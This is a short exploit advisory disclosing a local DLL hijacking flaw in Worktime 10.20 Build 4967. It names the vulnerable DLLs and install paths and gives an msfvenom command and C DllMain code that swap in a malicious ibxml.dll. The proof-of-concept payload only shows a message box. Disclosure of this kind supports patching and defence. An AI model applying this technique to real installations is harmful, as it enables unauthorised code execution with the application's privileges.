Worktime 10.20 Build 4967 DLL Hijacking

2022.01.17
Credit: Yehia Elghaly
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

/* Description: A vulnerability exists in windows that allows other applications dynamic link libraries to execute malicious code without the users consent, in the privelage context of the targeted application. Exploit Title: Worktime 10.20 Build 4967 DLL Hijacking Exploit Date: 15/01/2022 Author: Yehia Elghaly Vendor: https://www.worktime.com/ Software: https://www.worktime.com/download/worktime_corporate.exe Version: Latest Worktime 10.20 Build 4967 Tested on: Windows 7 Pro x86 - Windows 10 x64 Vulnerable extensions: .htm .html Vulnerable DLL: (ibxml.dll - WINSTA.dll) */ Instructions: 1. Create dll using msfvenom (sudo msfvenom --platform windows -p windows/messagebox TEXT="Work Time Hacked - YME" -f dll > ibxml.dll) or compile the code 2. Replace ibxml.dll in Worktime directory C:\Program Files\WorkTimeAdministrator or C:\WorkTime with your newly dll 3. Launch WorkTimeServer.exe or WorkTimeAdministrator.exe 4. PoP UP MessageBox! #include <windows.h> BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_mll(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_mll() { MessageBox(0, "WorkTime Hacked!", "YME", MB_OK); }


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